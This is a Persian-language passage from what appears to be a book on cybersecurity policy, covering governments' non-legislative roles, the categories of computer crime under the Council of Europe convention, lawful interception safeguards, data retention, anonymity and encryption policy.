دولتها بتدریج دریافته‌اند که باید سیاستهایی اتخاذ کنند که بطور خاص موضوع امنیت سایبر بخش خصوصی را مد نظر قرار دهند. این امر ممکن است شامل تطبیق سایر قوانین بخش خصوصی برای سازگار شدن با مسائل حوزهٔ امنیت رایانه‌ای نیز بشود. تجربه نشان داده که یک شرط کلیدی قانونگذاری موفق ، محدود کردن قوانین به شرایط و موقعیتهای خاص است. با درنظر گرفتن این نکته، دولتها وظایف بخش خصوصی را بدون نگاه خاص به فناوری یا استانداردها تعیین نموده‌اند. در اروپا مسئولیت امنیت رایانه‌ای در *رهنمود حفاظت داده*[۷۰] بر عهدهٔ تمامی بخشها گذاشته شده و دولت سنگاپور نیز امنیت رایانه‌ای را جزء ثابتی از نیازهای بخش مالی قلمداد کرده است. طی سالهای اخیر، قوانین دولتی ایالات متحده مسئولیتهای امنیت رایانه‌ای در صنعت بانکداری و صنعت بهداشت را بطور شفاف تعریف نموده‌اند. در ادامه این موارد بطور مفصل تشریح می‌شوند، اما ابتدا به برخی نقشهای مهم دولت در برابر بخش خصوصی می‌پردازیم که همگی غیر از قانونگذاری هستند.

نقشهای غیرتقنینی دولت

روشهای مختلفی برای اعمال سیاستهای دولت بر امنیت سیستمهای رایانه‌ای بخش خصوصی وجود دارد. این سیاستها همه از نوع قانونگذاری نیستند؛ بلکه بسیاری از آنها که شاید تأثیر بیشتری هم دارند می‌توانند سیاستهای غیرتقنینی باشند.

تحقیق – یکی از نقشهای مهم دولت، تأمین سرمایه و انجام تحقیق درباره امنیت رایانه‌ای است. *مؤسسه ملی استاندارد و فناوری ایالات متحده* (NIST)[۷۱] سازمان غیرتقنینی دولت در وزارت بازرگانی ایالات متحده است. مأموریت NIST تهیه و ارتقای معیارها، استانداردها و فناوری برای افزایش بهره‌وری، تسهیل تجارت، و بهبود کیفیت زندگی است.

بخش امنیت رایانه‌ای NIST برای ارتقای امنیت یک سیستم اطلاعاتی به فعالیتهای زیر می‌پردازد:

- افزایش آگاهی دربارهٔ خطرات فناوری اطلاعات، آسیب‌پذیریها و نیازمندیهای حفاظتی؛
- تحقیق، مطالعه و ارائه توصیه به سازمانهایی که در معرض آسیب‌پذیریهای فناوری اطلاعات هستند؛
- ایجاد راهکارهایی برای برقراری امنیت در سیستمهای حساس دولت؛
- تهیهٔ استانداردها، معیارها، آزمونها و برنامه‌های اعتبارسنجی برای ارتقا، اندازه‌گیری و ارزشیابی امنیت در سیستمها و سرویسها؛
- تأمین حداقل نیازمندیهای امنیتی برای سیستمهای دولت؛
- ارائه راهنماییهایی برای ایمن‌کردن فرآیندهای طراحی، پیاده‌سازی، مدیریت، و نیز عملیات فناوری اطلاعات؛

در انتشار عمومی نتایج تحقیقات، سازمانهای دولتی باید به نوعی بر میل خود به مخفی‌کاری غلبه کنند. یک مثال خوب در این زمینه، سازمان فوق سری امنیت ملی در ایالات متحده است که توصیه‌های امنیتی خود را برای دسترسی همگان در پایگاه وب عمومی سازمان قرار داده است.

استانداردها – دولت همچنین یکی از تصمیم‌گیرندگان مهم در تعیین استانداردهای بخش خصوصی است. استانداردسازی یک فرآیند غیر تقنینی، داوطلبانه و مبتنی بر وفاق جمعی است، اما متخصصان دولتی هم می‌توانند در این زمینه مشارکت کنند – بویژه اگر دولت از انجام تحقیقات امنیت رایانه‌ای بخش دولتی حمایت کند.

آگاهی، آموزش و ظرفیت‌سازی: یکی دیگر از نقشهای غیرتقنینی دولت، آموزش عمومی و همکاری با بخشهای خصوصی برای ارتقای آگاهی نسبت به آسیب‌پذیریها و روشهای پیشگیری است. مطالعات موردی و گزارشهایی مانند آنچه که پیشتر توضیح داده شدند، از ابزارهای اجرایی این هدف می‌باشند. کمیسیون اروپا از اعضای خود خواسته که

70 *Data Protection Directive*
71 *National Institute of Standards and Technology*

برنامه‌ای برای آموزش و آگاهی عمومی تدوین کنند که همهٔ طیفهای مخاطبین را در بر بگیرد. ارائه گزارشها و استراتژیهای مذکور به مجامع متخصصین در افزایش آگاهی مؤثر است. آموزش همچنین شامل بورسهای تحصیلی و برنامه‌های توسعه‌ای و افزایش سطح دانش منابع انسانی نیز می‌باشد. کمیسیون اروپا به کشورهای عضو توصیه کرده که تمرکز بیشتر دوره‌ها را بر امنیت رایانه‌ای قرار دهند.

اشتراک اطلاعات – یکی دیگر از نقشهای مهم دولت، اشتراک اطلاعات دربارهٔ آسیب‌پذیریهای امنیت رایانه‌ای، اخطار در مورد ویروسها و حملات جدید، ارائه پیشنهادات برای حل مشکلات، *وصله‌های امنیتی*[۷۲] و الگوهای سرآمدی می‌باشد. دولت می‌تواند بودجهٔ مراکز تبادل اطلاعات نظیر *مرکز فوریتهای امنیت رایانه‌ای* (CERT)[۷۳] و مراکز همکاری که در سراسر جهان برپا شده‌اند را تأمین سازد. بعنوان مثال CERT ایالات متحده در دانشگاه Carnegie Mellon یک مرکز تحقیق و توسعهٔ دولتی است که برای ارائه کمک به ادارهٔ رخدادهای امنیت رایانه‌ای، انتشار هشدارهای امنیتی، تحقیق دربارهٔ تغییرات بلندمدت سیستمهای شبکه‌ای، و همچنین آموزش نحوهٔ تهیهٔ طرحهای امنیت اطلاعاتی فعالیت می‌کند. برخی از کشورهای دیگری که CERT در آنها وجود دارد عبارتند از مالزی، ژاپن، استرالیا و کره. Mcert یک مرکز واکنش به فوریتهای امنیت رایانه‌ای برای شرکتهای کوچک و متوسط در آلمان است که همکاری میان بخش خصوصی و عمومی را توسط انجمن BITKOM ICT آلمان، هفت پشتیبان سرمایه‌گذاری صنعتی و نیز دولت این کشور برقرار می‌سازد.

بتدریج برای تبادل بهتر اطلاعات در سطح منطقه‌ای و فرامنطقه‌ای، ساختارهای چندملیتی بوجود می‌آیند. کمیسیون اروپا در ژوئن سال ۲۰۰۱ یک معاهده در خصوص تقویت CERT در اروپا و مشارکت بهتر اعضای اجرایی آن مرکز منتشر کرد. در فوریه ۲۰۰۳ این کمیسیون گام فراتری نهاد و تصمیم خود نسبت به ایجاد *سازمان امنیت شبکه و اطلاعات*[۷۴] را اعلام نمود. APEC بمنظور راه‌اندازی CERT محلی، برای آموزش داخلی کشورها و توسعه قابلیتهای این مرکز در کشورهای درحال توسعهٔ منطقه

72 *Security Patches*
73 *Computer Emergency Response Team*
74 *Network And Information Security Agency*

پیشقدم شد و خطمشی‌های CERT را تهیه کرد. گروه G8 نیز شبکه‌ای از نقاط تماس دائمی ایجاد کرد تا همکاری و تبادل اطلاعات در زمینهٔ جرائم الکترونیکی تسهیل شود؛ و درحال حاضر دولتهای غیر عضو در گروه G8 نیز می‌توانند در آن مشارکت داشته باشند.

به همین ترتیب دولتهای سراسر جهان ممکن است به اشکال مختلف در بخش خصوصی مؤسساتی ایجاد نماید که سیستمهای اشتراک داوطلبانهٔ اطلاعات را راه‌اندازی کنند؛ همچون *مراکز اشتراک و تحلیل اطلاعات* (ISAC)[۷۵]. بعنوان مثال ایالات متحده برای بخشهای خاص صنعت (همچون خدمات بخش مالی، بخش ارتباطات تلفنی و صنعت نیروی برق) ISAC تأسیس نموده و کشورهایی مثل کانادا، آلمان، ژاپن و هلند نیز دارای ISAC می‌باشند. انگلستان بدنبال مفهوم *WARP*[۷۶] (هشدار، توصیه و گزارش نکات) می‌باشد – یک شبکه سراسری برای تهیهٔ بهتر و سریعتر توصیه‌ها و هشدارهای حملات الکترونیکی، و نیز دریافت کاملتر گزارشهای حوادث در آن کشور.

همچنین دولت می‌تواند برای تبادل بهتر اطلاعات امنیتی کمیته‌های خصوصی و عمومی ایجاد کند. بعنوان نمونه می‌توان به *کمیتهٔ مشاوران امنیت ملی مخابرات* (NSTAC)[۷۷] اشاره کرد که متشکل است از سی نمایندهٔ مهم صنعت ارتباطات، ارائه‌کنندگان خدمات شبکه‌ای، شرکتهای فناوری اطلاعات، و مقامات مسئول امنیت ملی و سیستمهای ارتباطی اضطراری. NSTAC نیز مشاور صنعتی رئیس جمهور در خصوص مشکلات مرتبط با امنیت ملی و آمادگی در شرایط اضطراری در سیاستهای ارتباطی است.

قانون جرائم

روش دیگری که دولت با آن می‌تواند از سیستمهای بخش خصوصی پشتیبانی کند "قانون جرائم" است. مؤسسات بین‌المللی و منطقه‌ای پیشنهاد کرده‌اند که هر کشور بعنوان بخشی از چارچوب قانونی بهبود اعتماد و امنیت فضای سایبر باید برای مقابله با تخلفاتی که محرمانگی، یکپارچگی، یا در دسترس بودن داده‌ها را مخدوش می‌کنند، قوانین خود را

75 *Information Sharing and Analysis Center*
76 *Warning, Advice & Reporting Point*
77 *National Security Telecommunication Advisory Committee*

سازگار نماید. چارچوب اجرایی قانون جرائم متشکل از *قوانین موضوعه*[۷۸] و *قوانین روال‌منـد*[۷۹] اسـت کـه از مفـاهیم حـریم خصوصی که در حوزهٔ فضای سایبر کاربرد اختـصاصی دارد و نیز از تحقیقات میدانی نشأت می‌گیرد.

شاید سازمان ملل یکی از اولین سازمانهای بین‌المللـی باشـد که به اهمیت جرائم الکترونیکی اشـاره کـرده اسـت. مجمـع عمـومی سـازمان ملـل در دسـامبر ۲۰۰۰ و ژانویـه ۲۰۰۲ قطعنامـه‌هـای ۵۵/۶۳ و ۵۶/۱۲۱ را در مـورد مبـارزه بـا سوء اسـتفادهٔ تبهکـاران از فناوریهـای ارتبـاطی بـه تـصویب رسانده است. قطعنامهٔ ۵۵/۶۳ بیان می‌دارد که کشورها بـرای از بین بـردن پناهگـاه امـن بـرای کـسانیکه مرتکـب جـرائم الکترونیکی می‌شوند باید قوانین ویژه تدوین کنند. عـلاوه بـر این قطعنامهٔ ۵۵/۶۳ عنوان مـی‌کنـد کـه دولـت بایـد جهـت جلوگیری از سوء استفادهٔ تبهکـاران از فنـاوری اطلاعـات (بـا همکاری بـین‌المللـی بـرای جلـوگیری از تبـادل داده‌هـای الکترونیکـی) اقدامات لازم را انجـام دهـد. پیـشنهاد قطعنامـهٔ ۵۵/۶۳ نیـز آموزش قوانین اجرایی در مورد جرائم الکترونیکی است.

سرپیچی از قوانین موضوعهٔ جرائم

برای ارتکاب جرائم الکترونیکـی روشـهای مختلفـی متـصور است، و برای قانون‌شکنیهای مختلـف نیـز نامهـای متفـاوتی وجـود دارد، امـا در مجمـوع، قـوانینی کـه در مـورد جـرائم الکترونیکی هستند در یکی از چهار دستهٔ زیر قرار می‌گیرند:

- *دزدی داده‌ها*[۸۰]: نـسخه‌بـرداری تعمـدی و غیرمجـاز از داده‌های خصوصی رایانه‌ای. بعنوان مثال مـی‌تـوان بـه نسخه‌برداری از نامه‌های الکترونیکـی اشـخاص اشـاره کـرد. ایـن قـوانین بـه قـصد حفاظـت از محرمـانگی ارتباطات تهیه می‌شوند. در این مورد می‌تـوان بـه ایـن نکته اشاره کرد که بیشتر نظامهای قانونی دنیا، ردیـابی بدون مجوز مکالمات تلفنی را جـرم مـی‌داننـد؛ و ایـن مفهومِ خوش‌تعریف در جهان ارتباطات تلفنی می‌توانـد کارکرد مشابهی در حوزهٔ فضای سایبر نیز داشته باشد.
- *تداخل داده‌ها*[۸۱]: تخریـب، حـذف، یـا تغییـر تعمـدی و غیرمجـاز داده‌هـا در رایانـهٔ دیگـران. مـثلاً ارسـال ویروسهایی که فایلها را حذف می‌کنند، یا بـه رایانـه‌ای نفوذ کرده و باعث تغییر داده‌ها می‌شـوند، یـا بـه یـک پایگـاه وب نفـوذ کـرده و شـکل ظـاهری آن را تغییـر می‌دهند، همه جـزء ایـن دسـته محـسوب مـی‌شـوند. شناسایی عنصر "قـصد" بـرای تمـایز میـان فعالیتهـای تبهکارانه و صرفاً اشتباهات معمول و یا ارسال تصادفی ویروسها بسیار حیاتی است.
- *تداخل سیستم*[۸۲]: جلوگیری غیرمجاز از فعالیت سیـستم رایانـه‌ای بـصورت تعمـدی از طریـق ورود، انتقـال، تخریب، حذف، یا تغییـر داده‌هـای رایانـه‌ای. ایـن بنـد شامل مواردی از قبیل حملات تخریب سرویس یا ورود ویروس به یک سیستم بگونه‌ای که با کـارکرد طبیعـی آن تداخل داشته باشد می‌شود. "آسیب جدی" عنـصری است که فعالیتهای تبهکارانـه را از رفتارهـای معمـولی اینترنتی مثل ارسـال یـک یـا چنـد نامـهٔ الکترونیکـیِ ناخواسته مجزا می‌سازد.
- *دسترسی غیرقانونی*[۸۳]: دسترسی تعمدی و غیرمجاز بـه سیـستم رایانـه‌ای شخـصی دیگـر کـه در فـضای الکترونیکی می‌توان آنرا مترادف "تعدی" دانست. (از یک دیدگاه دیگر، دسترسی غیرقانونی، محرمانگی داده‌های ذخیره‌شده را خدشه‌دار می‌کند و درنتیجه تهدیدی بـرای محرمـانگی داده‌هـا است). در برخی سیستمهای حقـوقی تعریـف دسترسـی غیرقانونی محدود به موقعیتهایی اسـت کـه اطلاعـات محرمانـه (مثـل اطلاعـات پزشـکی یـا مـالی) دریافـت، نسخه‌برداری یا مشاهده می‌شوند.

شورای اروپا یک معاهده حاوی نکات اینچنینی منتشر کـرده است. بندهای ۲ تا ۵ معاهدهٔ شورای اروپـا در مـورد تخلفـات الکترونیکی، چهار مورد را بعنوان جرائم اساسـی الکترونیکـی نام می‌برد. با این وجـود ایـن مـوارد در خـود معاهـده بطـور مفصل توضیح داده شده‌اند و می‌توانند فعالیتهای مختلفـی را در بر گیرند. این معاهده دارای گزارشی توصیفی است که بـه تعبیر آن کمک می‌کند. بند ۲ این معاهده دولتها را به مقابلـه با جرائم رایانه‌ای (دسترسی تعمدی و غیرمجاز به تمـام یـا بخـشی از سیستم رایانه‌ای) فرا می‌خواند. در ظاهر، این ماده افرادی را کـه نامهٔ الکترونیکی ناخواسته ارسال می‌نمایند مجرم می‌شـمارد،

78 *Substantive Law*
79 *Procedural Law*
80 *Data Interception*
81 *Data Interference*
82 *System Interference*
83 *Illegal Access*

چراکه فرستندهٔ آن بدون اجازه به رایانه دریافت‌کننده (و یا سرویس‌دهنده‌های پستی گیرنده) دسترسی پیدا کرده است. براساس این تفسیر، معاهدهٔ شورای اروپا در مورد جرائم الکترونیکی روشن می‌سازد که منظور از "بدون اجازه" همان فعالیتهای معمول و ذاتی اینترنت است که بطور روزمره همواره در آن اتفاق می‌افتد؛ مثلاً ارسال نامه‌های الکترونیکی، دسترسی به صفحات وب از طریق ارتباطات مستقیم یا *فرامتن*[۸۴]، و همچنین استفاده از cookieها یا botها برای جمع‌آوری اطلاعات اشاره کرد.

جرائم تسهیل‌شده توسط رایانه

جرائم رایانه‌ای نه‌تنها شامل فعالیتهایی است که فرد متخلف بر علیه رایانه‌ها انجام می‌دهد، بلکه جرائمی که با استفاده از رایانه تسهیل می‌شوند را نیز در بر می‌گیرد. بعنوان مثال سرقت و کلاهبرداری جرائمی هستند که در دنیای خارج از اینترنت در تمامی نظامهای حقوقی مورد بحث قرار می‌گیرند. اما سرقت و کلاهبرداری در دنیای اینترنت نیز صورت می‌گیرد. به همین ترتیب تخلفاتی همچون سرقتهای ادبی و فکری یا انتشار تصاویر مبتذل از کودکان نیز محدود به جرائم رایانه‌ای نمی‌شوند، بلکه تخلفاتی هستند که با استفاده از رایانه تسهیل می‌شوند. در بسیاری موارد، مجازاتهای جرائم موجود، برای جرائم اینترنتی نیز اجرا می‌شوند. تحلیل دقیق عوامل مختلف اینگونه جرائم مستلزم بررسی تطبیقی قوانین جنایی موجود در حوزهٔ جرائم فضای سایبر است، و در این راستا قائل شدن تفاوت میان تخلفات رایانه‌ای و جرائمی که توسط رایانه تسهیل می‌شوند نیز ضروری می‌باشد.

بندهای ۷ تا ۱۰ معاهدهٔ شورای اروپا از این مفهوم فاصله می‌گیرد و بصورت کلی‌تر در مورد جرائمی صحبت می‌کند که در آنها از یک رایانه بمنظور تسهیل انجام آنچه که خارج از فضای اینترنت نیز جرم تلقی می‌شود می‌پردازد (کارهایی چون جعل، کلاهبرداری، توزیع، تولید یا داشتن تصاویر مبتذل از کودکان و نقض حقوق پدیدآورندهٔ یک اثر). ممکن است در برخی نظامهای حقوقی، بکارگیری ضوابط خاص برای جرائمی که بوسیلهٔ رایانه تسهیل می‌شوند غیرضروری باشد. همچنین ممکن است این قوانین با درنظر گرفتن مجازاتهای نه‌چندان متناسب، جرائمِ انجام‌شده در فضای سایبر را بدتر از جرائم مشابه دنیای واقعی جلوه دهند.

کاربرد مفاهیم پایه‌ای قانون جزا

کشورها ممکن است بخواهند مفاهیم معمول در قوانین جرائم مانند "معاونت در جرم" یا "قصد" را نیز در حوزهٔ جرائم الکترونیکی مد نظر قرار دهند. بنابراین درصورتیکه قانون جرائم عادی مفهوم "قصد تخلف" را تعریف کرده باشد، در مورد جرائم الکترونیکی نیز می‌توان همان مفهوم را بکار برد. بعنوان مثال فرستادن یک ویروس به قصد تخریب سرویس ممکن است تحت عنوان "جرم" و یا "قصد انجام جرم" مطرح شود؛ حتی درصورتیکه ویروس به درستی عمل نکند. به همین ترتیب درصورتیکه قوانین مفهوم "معاونت در جرم" را تعریف کرده باشند، در حوزه جرائم الکترونیکی نیز می‌توان از همان تعاریف استفاده کرد، بگونه‌ای که مثلاً اگر کسی بصورت عمدی یک ویروس تولید کند، حتی اگر ویروس توسط شخص دیگری به شبکه راه یافته باشد، باز هم شخص تولیدکننده در قبال خرابیهایی که آن ویروس در داده‌ها و شبکه ایجاد می‌کند مقصر شناخته می‌شود.

حفاظت از حریم خصوصی

توجه به جرائم الکترونیکی غالباً منجر به پدید آمدن سؤالاتی می‌شود، مثلاً اینکه ضوابطی که دولت بر مبنای آنها حق دسترسی به ارتباطات الکترونیکی و داده‌های رایانه‌ای را پیدا می‌کند – داده‌هایی که می‌توانند شواهدی بر انجام جرائم الکترونیکی و انواع دیگر تخلفات باشند – کدامند؟ بسیاری از کشورها روالهایی قانونی دارند که به دولت اجازه می‌دهد اطلاعات ذخیره‌شده در رایانه‌ها را بررسی کند. این روالها ممکن است دستورات قضایی برای بررسی داده‌های ذخیره‌شده و یا حکم تصرف و انجام تحقیقات روی رایانه‌ها و داده‌های رایانه‌ای باشند. همچنین بسیاری از کشورها اجازه *ردیابی بلادرنگ*[۸۵] ارتباطات و داده‌های انتقالی را – که نشاندهندهٔ مبدأ و مقصد ارتباطات است – می‌دهند. بخش مهمی از معاهدهٔ شورای اروپا در مورد جرائم الکترونیکی، دولتها را ملزم می‌کند که برای تحقیق و ردیابی اسناد

84 *Hypertext*

85 *Realtime Interception*

رایانه‌ای، ردیابی ارتباطات، و گزارش هر نوع ثبت رایانه‌ای به دولت از قوانین ویژه استفاده کنند.

گزارشگیری اجباری از داده‌های ذخیره‌شده در رایانه‌ها و ردیابی ارتباطات و داده‌های انتقالی توسط دولت منجر به نقض حریم خصوصی افراد می‌شود و درنتیجه نیاز به استفاده از روالهای محافظتی بیش از پیش احساس می‌گردد. همانگونه که OECD در خط‌مشی‌های خود در مورد امنیت شبکه‌ها و سیستمهای اطلاعاتی اظهار می‌کند: "معیارهای امنیتی باید بگونه‌ای پیاده‌سازی شوند که در راستای ارزشهای مشخص‌شده از طرف جوامع دموکراتیک از جمله آزادی تبادل افکار و ایده‌ها، جریان آزاد اطلاعات، محرمانه بودن اطلاعات و ارتباطات، حفاظت مناسب از اطلاعات شخصی، و شفافیت قرار گیرند." کمیسیون اروپا اینگونه اظهار می‌دارد که حفاظت از حریم خصوصی سیاست اصلی اتحادیه اروپا است و این مسئله در بند ۸ معاهدهٔ اروپا در مورد حقوق بشر نیز مشخص شده است. همچنین بندهای ۷ و ۸ *منشور حقوق اساسی اتحادیهٔ اروپا*[۸۶] احترام به حقوق خانواده و زندگی شخصی و ارتباطات و داده‌های شخصی را عنوان می‌نماید. در جوامع درحال توسعه و درحال گذار، نظارت بی‌حد و مرز دولتها می‌تواند مفهوم اعتماد در دنیای اینترنت را کاملاً از بین ببرد.

طبق قطعنامهٔ ۵۵/۶۳ سازمان ملل (دسامبر ۲۰۰۰)، همانطور که کشورها برای انجام تحقیقات روی ارتباطات و داده‌های رایانه‌ای قانون به تصویب می‌رسانند، باید از آزادیهای فردی و حریم خصوصی نیز محافظت بعمل آورند. در سال ۱۹۹۰ هشتمین کنگرهٔ سازمان ملل برای جلوگیری از تخلفات و برخورد با متخلفین، در مورد استفاده از روشهای ارزیابی، قوانین روشن و همکاریهای بین‌المللی در شناسایی جرائم الکترونیکی پیشنهاداتی را مطرح ساخت. در سال ۱۹۹۵، سازمان ملل راهنمای پیشگیری و کنترل جرائم مرتبط با رایانه را به چاپ رساند. این سند مفصل طیف گسترده‌ای از موضوعات مرتبط با جرائم فناوری را طرح کرده بود، از جمله قوانین روال‌مند، قوانین موضوعه، همکاریهای بین‌المللی، حفاظت از داده‌ها، امنیت، و نیز حریم خصوصی.

در همین راستا معاهدهٔ شورای اروپا صراحتاً عنوان می‌کند که نظارت بر ارتباطات و بررسی داده‌های ذخیره‌شده تا حدی مجاز است که طبق تعریف حریم خصوصی در منشور حقوق بشر اروپایی آنرا نقض نکند. بند ۱۵ معاهدهٔ جرائم الکترونیکی حاوی نکات زیر است:

۱. هر سازمان باید اطمینان حاصل کند که به تدوین، پیاده‌سازی و کاربرد این روالها در ضوابط و قوانین محلی – که برای تأمین حفاظت مناسب از حقوق و آزادیهای بشر، از جمله حقوق مذکور در مقررات سال ۱۹۵۰ کنوانسیون شورای اروپا برای حفظ حقوق بشر، آزادیهای اساسی و سایر ابزارهای حمایت از حقوق بشر بین‌المللی، تهیه شده‌اند– توجه لازم کرده است.

۲. این ضوابط باید به همان اندازه که طبیعت آنها ایجاب می‌کند نظارتهای قضایی و سایر نظارتهای مستقل را در بر بگیرند، باعث تنظیم کاربردها شوند، و اسباب کاهش محدودیتهای دامنه‌ای و زمانی روالها را فراهم آورند.

استانداردهای نظارت

معاهدهٔ شورای اروپا روالهای نظارتی خاصی که مرتبط با منشور حقوق بشر اروپا باشد را مشخص نمی‌سازد، بلکه در تصمیمات دادگاه اروپا در مورد حقوق بشر (که ذیلاً خلاصه شده است) قوانین نظارت کشورهایی همچون کانادا و ایالات متحده – که روالهای قوی و مستقل در قضاوت و حفاظت از حریم خصوصی دارند – دیده می‌شود. در جوامع درحال توسعه و درحال گذار که در آنها قوانین مشخص و تعریف شده‌ای در مورد تحقیق، تصرف و نظارت بر دنیای خارج از اینترنت نیز وجود ندارد، لازم است که در زمینه‌های الکترونیکی به توسعهٔ استانداردهای قوی تحت نظارت دولت توجه جدی شود.

در بسیاری از نظامهای پیشرفتهٔ حقوقی دنیا، ردیابی ارتباطات الکترونیکی مجاز است، اما تحت استانداردهای روشن قانونی؛ و البته باز هم برای آن به دلایل کافی نیاز است، که این امر در نظامهای حقوقی معمولاً به معنای تصدیق قاضی می‌باشد.

دولتهایی که به مباحث ردیابی و دسترسی داده‌ها می‌پردازند باید به استانداردهای اجرایی دسترسی دولت به ارتباطات و

86 *Charter of Fundamental Rights of the EU*

داده‌های رایانه‌ای توجه داشته باشند. تجربیات بین‌المللی، راهنمای مفیدی در این موضوع هستند. بر اساس استانداردهای ملی و بین‌المللی، روشهای زیر می‌توانند ردیابی قانونمند ارتباطات را ممکن سازند:

- استانداردهای ردیابی شفاف و قوانین در دسترس عموم باشند؛ و بطور کامل، بصورت شفاف و با موشکافی لازم، شهروندان را از چگونگی و شرایط نظارت آگاه سازند؛
- تأیید ردیابی بصورت کتبی و از طریق یک مقام مستقل (ترجیحاً یک قاضی) صورت گیرد و بر اساس تقاضای کتبی و ارائه دلایل و اسناد معتبر و قابل قبول انجام شود؛
- نظارت تنها محدود به بررسی درگیریهای جدی و خاص باشد؛
- تأیید تنها درصورت وجود دلایل قوی که نشاندهندهٔ لزوم انجام تحقیق درباره تخلفات است صورت پذیرد؛
- تأیید ردیابی تنها در مواردی انجام گیرد که استفاده از سایر فنون برای کسب اطلاعات کافی نباشد؛
- اشخاص و مواردی که باید تحت نظر قرار بگیرند با جزئیات کامل مشخص شوند و در این خصوص موارد کلی به هیچوجه قابل قبول نباشند؛
- ضوابط از نظر فناوری خنثی باشند (با تمامی ارتباطات اعم از تلفنی، تصویری، داده خطوط سیمی یابی سیم، دیجیتال یا آنالوگ، به یک شکل برخورد شده باشد)؛
- حوزه و مدت‌زمان انجام نظارت محدود باشد و در هیچ موردی طولانی‌تر از زمان لازم برای کسب اطلاعات مورد نظر نباشد؛
- نظارتها به طریقی انجام گیرد که حداقلِ نقض حریم خصوصی را در پی داشته باشد؛
- قوانین، کاربرد اطلاعات حاصل از ردیابی را توضیح داده باشند؛ و آن اطلاعات برای اهداف دیگری بکار نروند؛
- قانون روالهای صدور حکم برای متهم را مشخص کرده باشد؛
- قانون معین کند که تمامی افرادی که تحت بررسی قرار می‌گیرند – مستقل از نتیجهٔ حاصله – پس از پایان کار باید از انجام بررسیها مطلع شوند یا نه؛ و
- چنانچه طبق استانداردها حریم خصوصی کسی در جریان انجام عملیات ردیابی مورد تجاوز قرار بگیرد، طبق قانون، جبران کلیهٔ خسارتهای وارده الزامی باشد.

بسیاری از این موارد در جریان تحقیق و هنگام تصرف عوامل اجرای قانون در داده‌های رایانه‌ای بکار می‌روند.

نگهداری داده‌ها و سایر احکام دولت

تعدادی از کشورهای توسعه‌یافته (از جمله ایالات متحده) ضوابط خاصی را در مورد تلفنهای معمولی اعمال کرده‌اند و در بعضی کشورها *ارائه‌کنندگان خدمات اینترنتی* (ISPها)[87] باید کلیهٔ شبکه‌های ارتباطی را تحت نظارت دولت قرار دهند. علاوه بر این برخی از کشورها درصدد تصویب قوانینی هستند که بر مبنای آن ارائه‌کنندگان خدمات ملزم به نگهداری داده‌های ترافیکی در تمامی ارتباطات برای یک حداقل زمانی می‌باشند (ضابطه‌ای که به آن "نگهداری داده‌ها" اطلاق می‌شود). این ضوابط بسیار بحث‌برانگیز بوده و به علت تهدید حریم خصوصی شهروندان، امنیت شبکه‌ها و تحمیل هزینه‌های قابل ملاحظه بر ارائه‌کنندگان خدمات، مورد انتقاد قرار گرفته‌اند. بررسی کاملتر ضوابط نظارت، فراتر از مباحث این کتاب است. با این وجود لازم به ذکر است که معاهدهٔ شورای اروپا در مورد تخلفات الکترونیکی، به ارائه‌کنندگان خدمات، استانداردهای فنی و الزامات نگهداری داده‌ها را تحمیل نمی‌کند. این معاهده تنها روالهایی برای نگهداری، دسترسی یا دستیابی به‌داده‌های تجاری ارائه می‌کند و از فناوری موجود در شرکتها بهره می‌برد. این امر نیازمند تغییر فناوری یا فعالیتهای تجاری نیست. اتحادیهٔ اروپا در سال ۲۰۰۲ دربارهٔ مسائل خصوصی در حوزهٔ ارتباطات دستورالعملی منتشر ساخت که به کشورهای عضو اجازهٔ استفاده از وسایل نگهداری داده‌ها را می‌داد، اما آنها را ملزم به اینکار نمی‌ساخت.

87 *Internet Service Providers*

گمنامی[88]

معاهدهٔ شورای اروپا در مورد تخلفات الکترونیکی، حق مهم دیگری را در مورد حریم خصوصی مشخص کرده است: *حق برقراری ارتباطات بصورت گمنام*[89]. گزارش تفسیری این معاهده مشخص می‌سازد که از ارائه‌کنندگان خدمات توقع نگهداری و ثبت نام مشترکین خود را ندارد. بنابراین به موجب این معاهده، ارائه‌کنندگان خدمات ملزم به ثبت اطلاعات هویتی و تصدیق هویت مشترکین و یا مقاومت در برابر استفاده از نام مستعار توسط کاربران نمی‌باشند. شورای اروپا در سال ۲۰۰۳ بیانیه‌ای را در مورد آزادی ارتباطات اینترنتی با این مضمون به چاپ رساند: "بمنظور افزایش انتشار آزاد اطلاعات و ایده‌ها، کشورهای عضو باید به ایدهٔ کاربران احترام بگذارند و نه هویت آنان". علاوه بر این، کمیسیون اروپا در سال ۲۰۰۱ انجام فعالیت بصورت گمنام را به رسمیت شناخت و با انتشار بیانه‌ای در مورد نحوهٔ ایجاد جامعهٔ اطلاعاتی امن‌تر اظهار داشت: "گونه‌های بسیاری از مکانیزمهای تأیید برای نیازهای مختلف ما در محیطی که با آن تعامل داریم لازم است. در بعضی محیطها ممکن است لازم باشد یا ترجیح داده شود که گمنام باقی بمانیم." کمیسیون اروپا در مطالعات شبکه و امنیت رایانه‌ای سال ۲۰۰۱ خود، اظهار داشت *تصدیق هویت*[90] در شبکه نیز باید امکان گمنام ماندن را داشته باشد، همانطور که در بسیاری از خدمات نیازی نیست هویت کاربر مشخص شود."

رمزگذاری

رمزگذاری[91] ابزاری مفید برای حفظ امنیت در اینترنت است. همانطور که کمیسیون اروپا در سال ۲۰۰۱، متذکر شد: "استفاده از فناوریهای رمزگذاری بویژه با رشد ارتباطات بی‌سیم ضروری است". با توجه به این امر، روند کلی سیاستهای ملی در خصوص رمزگذاری باید قوانین محدود کنندهٔ کاربرد رمزگذاری را حذف کند یا کاهش دهد. در سالهای اخیر، کشورهای توسعه‌یافته که در گذشته بدنبال کنترل رمزگذاری بودند به این نتیجه رسیدند که در حالت کلی رمزگذاری باعث افزایش امنیت می‌شود. سیاست رمزگذاری در خطمشی‌های سال ۱۹۹۷ OECD و در گزارش کمیسیون اروپا در سال ۱۹۹۸ از دسترسی نامحدود به محصولات و خدمات رمزگذاری به شدت حمایت می‌کند.

در اواخر دههٔ ۱۹۹۰ کشورهای کانادا، آلمان، ایرلند و فنلاند سیاستهای ملی رمزنگاری را بر اساس راهبردهای OECD تهیه کردند، تا به استفادهٔ رایگان از رمزگذاری کمک کرده باشند. فرانسه که سابقه‌ای طولانی در محدودکردن رمزگذاری داشت در ژانویه سال ۱۹۹۹ این سیاست را کاملاً تغییر داد و اعلام کرد که رمزگذاری می‌تواند بدون محدویت انجام شود. در دسامبر ۱۹۹۷، بلژیک قانون سال ۱۹۹۴ خود در خصوص محدودیت رمزگذاری را اصلاح نمود. ایالات متحده که رمزگذاری را با محدود کردن تجارت محصولات و خدمات رمزگذاری محدود کرده بود، تمامی محدودیتهای این محصولات را در سال ۲۰۰۰ رفع کرد.

قانون و قانونگذاری

